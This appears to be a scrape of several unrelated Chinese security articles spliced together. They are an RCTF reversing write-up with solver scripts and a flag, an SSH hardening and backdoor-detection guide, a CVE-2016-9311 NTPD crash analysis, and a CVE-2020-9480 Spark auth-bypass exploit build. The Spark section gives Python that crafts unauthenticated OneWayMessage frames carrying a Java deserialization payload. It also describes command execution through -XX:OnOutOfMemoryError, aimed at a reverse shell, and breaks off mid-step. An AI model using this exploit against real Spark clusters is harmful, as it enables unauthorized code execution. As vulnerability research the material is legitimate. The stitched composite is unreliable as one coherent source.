dword_4053A8 = [1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L]
b = [0x61,0x64,0x73,0x77,0]
v32 = 10;
v33 = 0;
v34 = 5;
v35 = 160;
def get(x):
global v32;
global v33;
global v34;
global v35;
if (x==0x61):
v34-=1;
if (x==0x64):
v34+=1;
if (x==0x73):
v32+=1;
v35+=16;
if (x==0x77):
v32-=1;
v35-=16;
def recover(x):
global v32;
global v33;
global v34;
global v35;
if (x==0x61):
v34+=1;
if (x==0x64):
v34-=1;
if (x==0x73):
v32-=1;
v35-=16;
if (x==0x77):
v32+=1;
v35+=16;
ans = [0]*16;
def dfs(x):
global v32;
global v33;
global v34;
global v35;
if x==16:
if v32==4 and v34==9:
print ans;
return ;
else :
return;
for j in b:
get(j);
ans[x] = j;
if dword_4053A8[v35+v34]!=1:
dfs(x+1);
recover(j);
return ;
dfs(0);
可以发现只有唯一一组解：[100, 100, 100, 100, 119, 119, 119, 97, 97, 97, 119, 119, 119,
100, 100, 100]得到加密后的结果之后，就得逆那个Blowfish，由于不知道作者魔改了什么地方，因此我只好自己手动求逆了
key_table= [3240133568, 1745476834, 3452267107, 1321242865, 569233882, 3262172914, 804074711, 2212451896, 3586228949, 3213295876, 2580307897, 3987242710, 844129917, 1301868125, 523187267, 1271787320, 262594588, 3722290984]
t4= [1168098725, 2143783412, 4223038891, 1704033917, 4178117343,
......此处应有省略号......
4234728569, 227098560, 3450504956, 490211951]
def f(x):
a1 = x&0xff;
a2 = (x&0xff00)>>8;
a3 = (x&0xff0000)>>16;
a4 = (x&0xff000000)>>24;
return t1[a1]+( t2[a2]^(t3[a3]+t4[a4]) );
def decrypt(xl,xr):
v10 = 17;
i = 0;
for i in range(16):
xl = xl ^ key_table[v10];
v10-=1;
temp = xl;
xl = xr ^ f(xl);
xr = temp;
xl &=0xffffffff;
xr &=0xffffffff;
# print i,hex(xl),hex(xr),v10;
xr^=key_table[0];
xl^=key_table[1];
return hex(xr),hex(xl);
def encrypt(xl,xr):
v10 = 2;
i = 0;
xr^=key_table[0];
xl^=key_table[1];
for i in range(16):
pre_xl = xr ^ key_table[v10];
v10+=1;
xr = f(xr)^xl;
xl = pre_xl;
xl &=0xffffffff;
xr &=0xffffffff;
# print i,hex(xl),hex(xr),v10;
return hex(xl),hex(xr);
a = "64646464777777616161777777646464"
ans = ""
for i in range(0,len(a),16):
a1 = int(a[i:i+8],16);
a2 = int(a[i+8:i+16],16);
a1,a2 = encrypt(a2, a1);
ans +=a1[2:-1];
ans +=a2[2:-1];
print ans,len(ans);
# RCTF{db824ef8605c5235b4bbacfa2ff8e087}
### crack
限制程序输入的前512位只能是0 or
1，然后会根据你的输入来解密一个函数，但由于最后的函数是未知的，因此直接求逆不可能，但程序限制了v27，也就是根据输入取解密后的值x，然后v27-=x，最后要求v27==0，乍一看这只能爆破，但其实猜想一下要使程序能用非爆破的方式求解的话，v27很可能是一个特殊的数字，例如最大值，最小值，如果这么一想，那这其实就是一个在矩阵里按照特殊规则取数，然后求最大值的问题，那么这其实就是非常一个简单的dp问题`f[i][j]=max(f[i-1][j],f[i-1][j-1])+a[i][j]`
贴一下脚本，写的很急，很丑，且因为担心有多解，还加了一些判断
#include<iostream>
using namespace std;
unsigned long long f[1111][1111];
unsigned long long a[1111][1111];
unsigned long long t=0;
int num=0;
struct ha{
int v[20];
int num;
};
ha c[1111][1111];
void get(int x,int y){
if (x<1||y<1){
cout<<"!!!!!!!!!!!!!!!wrong case! "<<x<<" "<<y<<endl;
return ;
}
if (x==1&&y==1){
cout<<"0";
return;
}
if (x==1&&y==2){
cout<<"1";
return ;
}
if (c[x][y].num>1) {
cout<<x<<" "<<y<<endl;
cout<<"not just one answer"<<c[x][y].num<<endl;
}
if ( c[x][y].v[0]==1 ){
get(x-1,y-1);
cout<<"1";
}
else {
get(x-1,y);
cout<<"0";
}
}
int main(){
freopen("func.mem","r",stdin);
for (int i=1;i<=0x200;i++){
for (int j=1;j<=0x200;j++){
scanf("%lld",&a[i][j]);
// cin>>a[i][j];
//cout<<hex<<a[i][j]<<endl;
}
}
t = 0;
int i=1;
for (int j=1;j<=0x200;j++){
if (j<=2) i=1;
else i=j-1;
for (;i<=0x200;i++){
f[i][j] = max( f[i-1][j]+a[i][j], f[i-1][j-1]+a[i][j] );
// cout<<hex<<f[i][j]<<endl;
if ( f[i-1][j]+a[i][j] == f[i-1][j-1]+a[i][j] ){
c[i][j].num = 0;
c[i][j].v[ c[i][j].num++ ] = 0;
c[i][j].v[ c[i][j].num++ ] = 1;
continue;
}
if (f[i][j]==f[i-1][j]+a[i][j]){
c[i][j].v[ 0 ] = 0;
c[i][j].num=1;
}
else {
c[i][j].num=1;
c[i][j].v[ 0 ] = 1;
}
t = max(t,f[i][j]);
if (f[i][j]>=0x100758E540F){
get(i,j);cout<<endl;
cout<<"i get one "<<i<<" "<<j<<" "<<hex<<f[i][j]<<endl;
}
}
}
}
可以发现v27的值确实是最大值，且是唯一解
00000000010101000000000111100111111110100111100101001000101010010011101100111101011111111111111111001110111011011000000101110111001111100100011000000000000110001111110100000000001101110111010101011111000101110000011000111001110000000000000000000000011001000010000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011100011111110000100111000000000000000000000000000000010000000000000001000001100000000000000101000000000100000010000000000000000010000000000000000000000
然后我们动态跟一下解密后的函数: sub_431A020，发现是个vm
先打印一下日志，看看程序在干啥
粗略的打印了一下
00 Mov reg[0] , 0x26a
03 Mov reg[1] , reg[0]
02 reg[0]=input[0]
1a 01 Mov reg[1] , 0x30 input[i]-=0x30
0c Sub reg[0] , reg[1]
03 Mov reg[1] , reg[0]
......此处应有省略号......
06 reg[0]=reg[6] (0x11)
01 Mov reg[1] , 0x7
0d Mul reg[0] , reg[1]
01 Mov reg[1] , 0xf423f
16 reg[0] == reg[1] reg[0]=0 //check
01 Mov reg[1] , 0xc36
1a jump c36
00 Mov reg[0] , 0x928a000
逻辑很简单
input="123"
for i in range(len(input)):
v6+= (ord(input[i])-0x30)<<i
print v6;
print hex(v6);
# v6*7 == 0xf423f
因为长度是未知的，因此我随便找了一个解79889000968999
（注意，答案是分两部分，这是第二部分的）
带到vm里，发现指令数暴增，且由于我这个vm模拟的不全面，还会报错，大致分析了一下后面的功能，可以发现它貌似也在解密什么东西，最主要的是，后面的操作都和input没啥关系，因此直接将第一轮的答案+第二轮带入 | 社区文章 |
本篇文章是悬镜安全实验室推出的第10篇原创安全技术文章
SSH 是建立在应用层基础上的安全协议，是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH
协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序，后来又迅速扩展到其他操作平台。我们常用的OpenSSH就是SSH协议的开源实现。
IETF RFC 4251 到 4256 将 SSH 定义为 “经由一个不安全网络进行远程登录和其他安全网络服务的安全 shell 协议”。shell
由三个主要元素组成。
传输层协议：提供服务器身份验证、隐私和具有完美转发隐私的完整性。该层可以提供可选压缩且通过一个 TCP/IP
连接运行，但是也可用于任何其他可靠的数据流之上。
用户认证协议：从服务器到客户端进行身份验证，且通过传输层运行。
连接协议：多路传输加密隧道到多个逻辑通道，通过用户认证协议运行。
下面我们来看看如何让我们的OpenSSH更安全。
# 一、基础配置，服务端配置文件为/etc/ssh/sshd_config**
1、将 root 账户仅限制为控制台访问
PermitRootLogin no
2、仅使用 SSH Protocol 2
3、禁用空密码
PermitEmptyPasswords no
4、用户登录控制
AllowUsers user1@host1 user1@! __ @*
DenyUsers user2
5、配置 Idle Log Out Timeout 间隔
ClientAliveInterval 300
ClientAliveCountMax 0
6、禁用基于主机的身份验证
HostbasedAuthentication no
7、禁用用户的 .rhosts 文件
IgnoreRhosts yes
8、强密码策略（生成14位随机字符密码）
</dev/urandom tr -dc '!@#$%^&*()-+=0-9a-zA-Z' | head -c14; echo ""
9、pam_chroot
通过ssh远程登录的用户将被限制在jail环境中。
10、访问控制
tcpwrapper(/etc/hosts.allow，/etc/hosts.deny)
iptables（限制源IP等）
# 二、攻防对抗
一旦攻击者获取了相关权限，就可能安装openssh后门、或者隐身登录等。接下来我们看看如何让攻击者无所遁形。
1、隐身登录（登录后，不能通过w、who查看到）
通过ssh –T来连接，但-T相当于notty，ctrl+C会中断会话；
另外，大家都知道，w查看时是通过utmp二进制log，如果攻击者在获取权限后，只要修改了utmp，就可以达到隐身效果，管理员再登录上来的时候，通过w、who就看不到已经登录的攻击者了，如下所示。
[
当然，这样操作会造成整个utmp为空，如果是在管理员登录之后再操作的话，还是会发现异常的。
同时也要处理下wtmp，否则还是会被审计到。
那么如何快递排查呢，我们可以通过ps命令查看进程，如下图所示。
我们可以看到当攻击者处理掉自己的记录后，管理员虽然通过w、who看不到，但是进程中却存在着攻击者登录申请的TTY。
以上只是简单的隐藏，通常情况下，攻击者获取权限后，会安装openssh后门，成功运行后门后，攻击者通过后门登录将不记录任何日志，正常用户登录该主机或者通过该主机通过ssh连接其他主机时，都会被后门记录到账号密码。
这里我们介绍如何利用操作系统自身的工具手工快速查找后门，主要用到strace、strings、grep。
通过openssh后门功能中会记录正常用户登录账号密码，因此猜测会用到open系统调用，只要在登录是用strace跟踪sshd打开的系统调用，然后过滤open，就应该能获取到记录密码的文件及路径。
strace –o ssh –ff –p pid
可以看到记录文件中关键字为user:password，而且因为后门密码是硬编码在后门patch中的，因此我们通过关键字利用strings可以找到攻击者的openssh后门密码。
如果安全意识不高的攻击者使用了自己攻击机器的通用密码，通过抓包获取到攻击者攻击IP后，就有可能控制攻击者的机器。（意淫）
攻击者通过openssh后门登录后，w、who同样看不到登录信息，但ps查看进程，仍然可以看到申请到的TTY，也可以快速发现攻击行为。
以上只是最基础一些小tips，欢迎各位大佬拍砖。
本篇文章为悬镜安全实验室原创文章，如需转载请标注来源：<http://lab.xmirror.cn/> | 社区文章 |
# 【漏洞分析】CVE-2016-9311：NTPD漏洞可以引发拒绝服务
|
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2016-9311-ntpd-vulnerability-can-lead-denial-service/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[overXsky](http://bobao.360.cn/member/contribute?uid=858486419)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
许多设备的使用都离不开网络，其中，用来同步网络上各种设备时间使用的是网络时间协议（Network Time
Protocol）。网络时间协议守护进程（Network Time Protocol Daemon
,NTPD）是此协议的开源实现。在过去的几个月内，NTPD被陆续报道了大量的漏洞，其中一个就是CVE-2016-9311——可以引发崩溃从而导致拒绝服务。在这篇文章中，我们将从细节着手分析这个漏洞。
**查找更改**
通过检查补丁程序，我们在ntp_control.c文件中找到了 “report_event” 函数，它就是该漏洞的修复程序。
补丁比较工具显示如下（摘自[http://bugs.ntp.org/attachment.cgi?id=1460&action=diff](http://bugs.ntp.org/attachment.cgi?id=1460&action=diff)）：
图一左侧显示的是未修补的代码，右侧是已修补的代码。
在易受攻击的代码中有一个判断语句：
INSIST(peer!=NULL)
INSIST函数定义在ntp_assert.h头文件中，如果peer==NULL，那么返回值为真，判断语句失败，NTPD将崩溃。
对比修复后的代码可以明显的发现，原来的INSIST(peer!=NULL)判断语句被替换成了简单的if判断：
if ((err & PEER_EVENT) && !peer)
return
if语句会检查“peer”的值是否为NULL，如果是的话它就简单地返回并防止崩溃。
**分析根本原因**
要触发这个漏洞，程序流需要执行到“report_event”函数，并给它传送特定的参数值以便使得INSISIT函数判断失败从而崩溃。
当NTPD接收到一个数据包时，它会去调用ntp_proto.c中的接收函数“receive”。接收函数会对接收到的分组执行各种检查，其中一项检查是确认接收到的加密否定应答（crypto-NAK）分组是否有效。
如果NTPD收到一个无效的NAK数据包，它将调用易受攻击的函数“report_event”。该函数会查找数据包中陷阱（trap）的数量，如果没有在NTPD上配置过陷阱（[关于NTPD
traps可以参考这里](https://mdshaonimran.wordpress.com/2012/04/26/ntp-server-how-to/)），该函数将简单返回，后面易受攻击的代码片段也不会被执行。
当且仅当在NTPD中启用陷阱时，才能利用此漏洞。 要检查NAK数据包是否有效会用到“valid_NAK”
函数，它被定义在ntp_proto.c文件中，代码如下：
从上面的代码中可以总结出，一个数据包符合以下几点特征中的任何一个即为无效：
1\. 模式不是MODE_SERVER、MODE_ACTIVE和MODE_PASSIVE。
2\. keyid不为0。
3\. peer为NULL，或者peer没有密钥。
4\. ORIGIN不匹配。
如果NTPD上启用了陷阱功能，触发此漏洞只需要构造一个没有peer存在（即peer=NULL）的“无效NAK”数据包然后发送即可。为了证实这一点，我们用调试器来对未修复版本代码进行了测试，如下所示，NTPD因为判断失败而崩溃了：
**总结**
此漏洞在NTPD启用了陷阱功能的情况下可以被利用来触发崩溃引起拒绝服务。NTPD默认情况下不启用陷阱。利用此漏洞不需要授权。
防范此漏洞可以通过安装最新的补丁程序或更新最新版本的NTPD，或者使用McAfee网络安全平台等防护软件。
**参考文献**
[NTP Security Notice](http://support.ntp.org/bin/view/Main/NtpBug3119)
[CVE-2016-9311 on
NVD](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9311)
[CERT/CC Vulnerability Note VU#633847](http://www.kb.cert.org/vuls/id/633847)
[](http://www.kb.cert.org/vuls/id/633847) | 社区文章 |
# CVE-2020-9480 Apache Spark 认证绕过漏洞EXP构造
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞简介
2020 年 06 月 24 日，`Apache Spark` 官方发布了 Apache Spark 远程代码执行 的风险通告，该漏洞编号为
CVE-2020-9480，漏洞等级：高危
Apache Spark是一个开源集群运算框架。在 `Apache Spark 2.4.5`
以及更早版本中`Spark`的认证机制存在缺陷，导致共享密钥认证失效。攻击者利用该漏洞，可在未授权的情况下，在主机上执行命令，造成远程代码执行。
## 0x02 SPARK 部署相关背景介绍
SPARK 常用 5 种运行模式，两种运行部署方式.
模式： LOCAL， STANDALONE， YARN， Mesos， Kurnernetes
1. LOCAL ： 本机运行模式，利用单机的多个线程来模拟 SPARK 分布式计算，直接在本地运行
2. SPARK 集群目前支持 STANDALONE, YARN, MESOS, Kurnernetes 多种调度管理程序。STANDALONE 是 spark 自带的调度程序，下面分析也是以 STANDALONE 调度为主
驱动程序部署方式：CLIENT， CLUSTER
Spark 应用程序在集群上做为独立的进程集运行，由 `SparkContext` 主程序中的对象（驱动程序 `driver
program`）继续进行调度。
1. CLIENT 驱动部署方式指驱动程序(driver) 在集群外运行，比如 任务提交机器 上运行
2. CLUSTER 驱动部署方式指驱动程序(driver) 在集群上运行
驱动程序(driver) 和集群上工作节点 (Executor) 需要进行大量的交互，进行通信
通信交互方式：RPC / RESTAPI
1. RESTAPI: 方式不支持使用验证（CVE-2018-11770）防御方式是只能在可信的网络下运行，RESTAPI 使用 jackson 做 json 反序列化解析，历史漏洞 (CVE-2017-12612)
2. RPC: RPC 方式设置可 auth 对访问进行认证，CVE-2020-9480 是对认证方式的绕过。也是分析目标
## 0x03 diff 补丁
漏洞说明，在 `standalone` 模式下，绕过权限认证，导致 `RCE`。
1. 配置选项 `spark.authenticate` 启用 RPC 身份验证，
2. 配置选项 `spark.authenticate.secret` 设定密钥
理解：SPARK只要绕过权限认证，提交恶意的任务，即可造成RCE。找到 [commit 记录
](https://github.com/apache/spark/commit/9416b7c54bdf5613c1a65e6d1779a87591c6c9bd)
补丁修正：将 `AuthRpcHandler` 和 `SaslRpcHandler` 父类由 `RpcHandler` 修正为
`AbstractAuthRpcHandler`， `AbstractAuthRpcHandler` 继承自 `RpcHandler`,
对认证行为进行了约束
通过对比 `Rpchandler` 关键方法的实现可以发现 2.4.5 版本钟，用于处理认证的 RpcHandler 的 receive重载方法
`receive(TransportClient client, ByteBuffer message)` 和 `receiveStream`
方法没有做权限认证。而在更新版本中，父类`AbstractAuthRpcHandler` 对于 receive重载方法
`receive(TransportClient client, ByteBuffer message)` 和 `receiveStream`
添加了认证判断
2.4.5 AuthRpcHandler
@Override
public void receive(TransportClient client, ByteBuffer message) {
delegate.receive(client, message);
}
@Override
public StreamCallbackWithID receiveStream(
TransportClient client,
ByteBuffer message,
RpcResponseCallback callback) {
return delegate.receiveStream(client, message, callback);
}
2.4.3 AbstractAuthRpcHandler.java
public final void receive(TransportClient client, ByteBuffer message) {
if (isAuthenticated) {
delegate.receive(client, message);
} else {
throw new SecurityException("Unauthenticated call to receive().");
}
}
@Override
public final StreamCallbackWithID receiveStream(
TransportClient client,
ByteBuffer message,
RpcResponseCallback callback) {
if (isAuthenticated) {
return delegate.receiveStream(client, message, callback);
} else {
throw new SecurityException("Unauthenticated call to receiveStream().");
}
}
回溯代码执行流及`SPARK RPC`的实现, `TransportRequestHandler` 调用了 RPC handler `receive`
函数和 `receiveStream`,
[`TransportRequestHandler`](spark/common/network-common/src/main/java/org/apache/spark/network/server/TransportRequestHandler.java)
介绍：TransportRequestHandler 用于处理 `client` 的请求，每一个 `handler` 与一个 `netty channel`
关联，SPARK RPC 底层是基于 `netty RPC` 实现的，
`*requesthandler` 根据业务流类型调用 rpchandler 处理消息
public class TransportRequestHandler extends MessageHandler<RequestMessage> {
......
public TransportRequestHandler(
Channel channel,
TransportClient reverseClient,
RpcHandler rpcHandler,
Long maxChunksBeingTransferred,
ChunkFetchRequestHandler chunkFetchRequestHandler) {
this.channel = channel; /** The Netty channel that this handler is associated with. */
this.reverseClient = reverseClient; /** Client on the same channel allowing us to talk back to the requester. */
this.rpcHandler = rpcHandler; /** Handles all RPC messages. */
this.streamManager = rpcHandler.getStreamManager(); /** Returns each chunk part of a stream. */
this.maxChunksBeingTransferred = maxChunksBeingTransferred; /** The max number of chunks being transferred and not finished yet. */
this.chunkFetchRequestHandler = chunkFetchRequestHandler; /** The dedicated ChannelHandler for ChunkFetchRequest messages. */
}
public void handle(RequestMessage request) throws Exception {
if (request instanceof ChunkFetchRequest) {
chunkFetchRequestHandler.processFetchRequest(channel, (ChunkFetchRequest) request);
} else if (request instanceof RpcRequest) {
processRpcRequest((RpcRequest) request);
} else if (request instanceof OneWayMessage) {
processOneWayMessage((OneWayMessage) request);
} else if (request instanceof StreamRequest) {
processStreamRequest((StreamRequest) request);
} else if (request instanceof UploadStream) {
processStreamUpload((UploadStream) request);
} else {
throw new IllegalArgumentException("Unknown request type: " + request);
}
}
......
private void processRpcRequest(final RpcRequest req) {
......
rpcHandler.receive(reverseClient, req.body().nioByteBuffer(), new RpcResponseCallback() {......}
......
}
private void processStreamUpload(final UploadStream req) {
......
StreamCallbackWithID streamHandler = rpcHandler.receiveStream(reverseClient, meta, callback);
......
}
......
private void processOneWayMessage(OneWayMessage req) {
......
rpcHandler.receive(reverseClient, req.body().nioByteBuffer());
......
}
private void processStreamRequest(final StreamRequest req) {
...
buf = streamManager.openStream(req.streamId);
streamManager.streamBeingSent(req.streamId);
...
}
}
`processRpcRequest` 处理 `RPCRequest` 类型请求（RPC请求），调用
`rpchandler.rpchandler(client, req, callback)` 方法，需要进行验证
`processStreamUpload` 处理 `UploadStream` 类型请求(上传流数据)，调用
`rpchandler.receiveStream(client, meta, callback)` 不需要验证
`processOneWayMessage` 处理 `OneWayMessage` 类型请求（单向传输不需要回复），调用
`rpchandler.receive(client, req)`，不需要验证
`processStreamRequest` 处理 `StreamRequest` 类型请求，获取 streamId ，取对应流数据。需要 streamId
存在
RPC 消息类型如上
### 0x01 漏洞点说明
在未作权限约束下，可以使用 `RPC` 和 `REST API` 方式，向 SPARK 集群提交恶意任务，反弹shell。
所以，通过创建一个类型为 `UploadStream` 和 `OneWayMessage` 的请求，即可绕过认证逻辑，提交任务，造成RCE。
### 0x02 背景补充
在Spark 0.x.x与Spark 1.x.x版本中，组件间的消息通信主要借助于Akka。 在SPARK 2.x 及以上版本中，SPARK
网络层是直接依赖于 netty 框架的
`TransportContext`：SPARK RPC
核心类，`传输上下文`，包含了用于创建传输服务端（TransportServer）和传输客户端工厂（TransportClientFactory）的上下文信息。
1. `TransportServer` 通过构造函数启动 `netty`，提供底层通信服务
2. `TransportClientFactory` 用来创建 `TransportClient`.
SPARK 启动流程
`TransportClientBootstrap`,`TransportServerBootstrap`：是每个客户端连接到服务端时都会在服务端执行的引导程序。
`TransportContext`的
`createClientFactory`方法创建传输客户端工厂`TransportClientFactory`的实例。在构造`TransportClientFactory`的实例时，还会传递客户端引导程序`TransportClientBootstrap`的列表
`TransportClientFactory`内部维护每个Socket地址的连接池
调用`TransportContext`的`createServer`方法创建传输服务端`TransportServer`的实例
`TransportContext` 创建 `TransportClientFactory`和`TransportServer`的流程
`RPC server` 端处理请求时，消息格式如下所示
frame size | type
---|---
8 byte | 1 byte |
TransportFrameDecoder 读取`8byte`的 `frame size` ，经过`messageDecoder`读取 `1byte`
确认消息类型，调用对应类型消息再次进行`decode`
`RPC`框架`server`端处理请求和响应的流程
## 0x04 exp 构造
SPARK RPC 底层基于 NETTY 开发，相关实现封装在`spark-network-common.jar`(java)和`spark-core.jar`(scala)中, 在[Apache Spark
RPC协议中的反序列化漏洞分析](https://www.freebuf.com/vuls/194532.html) 一文中，对 RPC 协议包进行了介绍
### 0x01 反序列化漏洞
[Apache Spark RPC协议中的反序列化漏洞分析](https://www.freebuf.com/vuls/194532.html)
文章是通过构造 `RpcRequest` 消息，通过 `nettyRPChandler` 反序列解析处理消息触发反序列化漏洞。
在`common/network-common/src/main/java/org/apache/spark/network/protocol/` 的
`message` 实现中
协议内部结构由两部分构成header和body，header中的内容包括: 整个frame的长度（8个字节）和 message的类型（1个字节）
其中frame 长度计算：
* header 长度：8（frame 长度）+ 1（message 类型长度）+ 8 （message 长度）+ 4（body的长度）= 21 字节
* body 长度
MessageEncoder.java
public void encode(ChannelHandlerContext ctx, Message in, List<Object> out) throws Exception {
Message.Type msgType = in.type();
// All messages have the frame length, message type, and message itself. The frame length
// may optionally include the length of the body data, depending on what message is being
// sent.
int headerLength = 8 + msgType.encodedLength() + in.encodedLength();
long frameLength = headerLength + (isBodyInFrame ? bodyLength : 0);
ByteBuf header = ctx.alloc().buffer(headerLength);
header.writeLong(frameLength);
msgType.encode(header);
in.encode(header);
assert header.writableBytes() == 0;
if (body != null) {
// We transfer ownership of the reference on in.body() to MessageWithHeader.
// This reference will be freed when MessageWithHeader.deallocate() is called.
out.add(new MessageWithHeader(in.body(), header, body, bodyLength));
} else {
out.add(header);
}
}
不同信息类型会重载encode 函数 msgType.encode 。
* 其中 `OneWayMessage` 包括 4 字节的 body 长度
* `RpcRequest` 包括 8 字节的 `requestId` 和 4 字节的 body 长度
* `UploadStream` 包括 8 字节的 `requestId` ，4 字节 metaBuf.remaining, 1 字节 `metaBuf`, 8 字节的 `bodyByteCount`
OneWayMessage.java
public void encode(ByteBuf buf) {
// See comment in encodedLength().
buf.writeInt((int) body().size());
}
RpcRequest.java
@Override
public void encode(ByteBuf buf) {
buf.writeLong(requestId);
// See comment in encodedLength().
buf.writeInt((int) body().size());
}
UploadStream.java
public void encode(ByteBuf buf) {
buf.writeLong(requestId);
try {
ByteBuffer metaBuf = meta.nioByteBuffer();
buf.writeInt(metaBuf.remaining());
buf.writeBytes(metaBuf);
} catch (IOException io) {
throw new RuntimeException(io);
}
buf.writeLong(bodyByteCount);
message 枚举类型
Message.java
public static Type decode(ByteBuf buf) {
byte id = buf.readByte();
switch (id) {
case 0: return ChunkFetchRequest;
case 1: return ChunkFetchSuccess;
case 2: return ChunkFetchFailure;
case 3: return RpcRequest;
case 4: return RpcResponse;
case 5: return RpcFailure;
case 6: return StreamRequest;
case 7: return StreamResponse;
case 8: return StreamFailure;
case 9: return OneWayMessage;
case 10: return UploadStream;
case -1: throw new IllegalArgumentException("User type messages cannot be decoded.");
default: throw new IllegalArgumentException("Unknown message type: " + id);
}
}
nettyRpcHandler 处理消息`body`时,`body` 由通信双方地址和端口组成，后续是java序列化后的内容(ac ed 00 05)
其中 NettyRpcEnv.scala
[core/src/main/scala/org/apache/spark/rpc/netty/NettyRpcEnv.scala](https://github.com/apache/spark/blob/485145326a9c97ede260b0e267ee116f182cfd56/core/src/main/scala/org/apache/spark/rpc/netty/NettyRpcEnv.scala)
RequestMessage 类 `serialize` 方法是 RequestMessage 请求构建部分
private[netty] class RequestMessage(
val senderAddress: RpcAddress,
val receiver: NettyRpcEndpointRef,
val content: Any) {
/** Manually serialize [[RequestMessage]] to minimize the size. */
def serialize(nettyEnv: NettyRpcEnv): ByteBuffer = {
val bos = new ByteBufferOutputStream()
val out = new DataOutputStream(bos)
try {
writeRpcAddress(out, senderAddress)
writeRpcAddress(out, receiver.address)
out.writeUTF(receiver.name)
val s = nettyEnv.serializeStream(out)
try {
s.writeObject(content)
} finally {
s.close()
}
} finally {
out.close()
}
bos.toByteBuffer
}
private def writeRpcAddress(out: DataOutputStream, rpcAddress: RpcAddress): Unit = {
if (rpcAddress == null) {
out.writeBoolean(false)
} else {
out.writeBoolean(true)
out.writeUTF(rpcAddress.host)
out.writeInt(rpcAddress.port)
}
}
以 OneWayMessage 举例
构造payload
def build_oneway_msg(payload):
msg_type = b'\x09'
other_msg = '''
01 00 0f 31 39 32 2e 31 36 38 2e 31 30 31
2e 31 32 39 00 00 89 6f 01 00 06 75 62 75 6e 74
75 00 00 1b a5 00 06 4d 61 73 74 65 72
'''
other_msg = other_msg.replace('\n', "").replace(' ', "")
body_msg = bytes.fromhex(other_msg) + payload
msg = struct.pack('>Q',len(body_msg) + 21) + msg_type
msg += struct.pack('>I',len(body_msg))
msg += body_msg
return msg
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(100)
server_address = ('192.168.101.129', 7077)
sock.connect(server_address)
# get ser_payload 构造java 反序列化payload
payload = build_oneway_msg(ser_payload)
sock.send(payload)
time.sleep(5)
# data = sock.recv(1024)
sock.close()
使用URLDNS 反序列化payload测试结果如上
### 0x02 exp 构建
`OneWayMessage` 可以绕过验证，理论上构造一个提交任务请求就行。尝试通过捕获 `rpcrequest` 请求并重放。
SPARK deploy 模式为 `cluster` 和 `client`。`client` 模式下提交任务方即为 `driver`, 需要和
`executor` 进行大量交互，尝试使用 `--deploy-mode cluster`
./bin/spark-submit --class org.apache.spark.examples.SparkPi --master spark://192.168.101.129:7077 --deploy-mode cluster --executor-memory 1G --total-executor-cores 2 examples/jars/spark-examples_2.11-2.4.5.jar 10
重放反序列化数据，报错
org.apache.spark.SparkException: Unsupported message OneWayMessage(192.168.101.129:35183,RequestSubmitDriver(DriverDescription (org.apache.spark.deploy.worker.DriverWrapper))) from 192.168.101.129:35183
`NettyRpcHandler` 处理的反序列化数据为 `DeployMessage`
类型，`DeployMessage`消息类型有多个子类。当提交部署模式为`cluster`时，使用 `RequestSubmitDriver` 类;
部署方式为 `client`（默认）时，使用 `registerapplication` 类。
对不同消息处理逻辑在 master.scala 中，可以看到 receive
方法中不存在`RequestSubmitDriver`的处理逻辑，`OneWayMessage`特点就是单向信息不会回复，不会调用
`receiveAndreply` 方法。
override def receive: PartialFunction[Any, Unit] = {
...
case RegisterWorker(
case RegisterApplication(description, driver)
case ExecutorStateChanged(
case DriverStateChanged(
...
}
override def receiveAndReply(context: RpcCallContext): PartialFunction[Any, Unit] = {
...
case RequestSubmitDriver(description)
...
}
在 [DEF CON Safe Mode – ayoul3 – Only Takes a Spark Popping a Shell on 1000
Nodes](https://www.youtube.com/watch?v=EAzdGo-i8vE)一文中，作者通过传递java 配置选项进行了代码执行。
java 配置参数 -XX:OnOutOfMemoryError=touch /tmp/testspark 在JVM 发生内存错误时，会执行后续的命令
通过使用 -Xmx:1m 限制内存为 1m 促使错误发生
提交任务携带以下配置选项
